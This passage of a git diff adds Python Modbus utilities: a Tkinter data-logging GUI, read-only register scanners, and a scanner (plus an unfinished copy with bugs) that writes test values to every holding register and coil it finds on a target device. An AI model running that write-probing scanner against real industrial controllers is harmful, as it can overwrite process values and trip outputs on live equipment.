menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 --- /dev/null +++ b/modbus/misc/register_scanner.py @@ -0,0 +1,156 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +# https://github.com/nallamuthu/ModBus + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in coil_valid_list: + data=client.write_single_coil(i,1) # HEX(ABCD) == int(43981) + data=client.read_coils(i,1) + coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 1==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i-1] = "Read/Write" + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(range(1,500)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil") #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold") #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete") #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input") +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/register_scanner.py.1 b/modbus/misc/register_scanner.py.1 new file mode 100644 index 0000000..4d03cc6 --- /dev/null +++ b/modbus/misc/register_scanner.py.1 @@ -0,0 +1,151 @@ +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i-1]="Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in hold_valid_list: + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data[0]: + if 43981==data[0]: + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + client.close() + return write_coil_confirm_list,write_coil_confirm_data + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg): + valid_list=[] 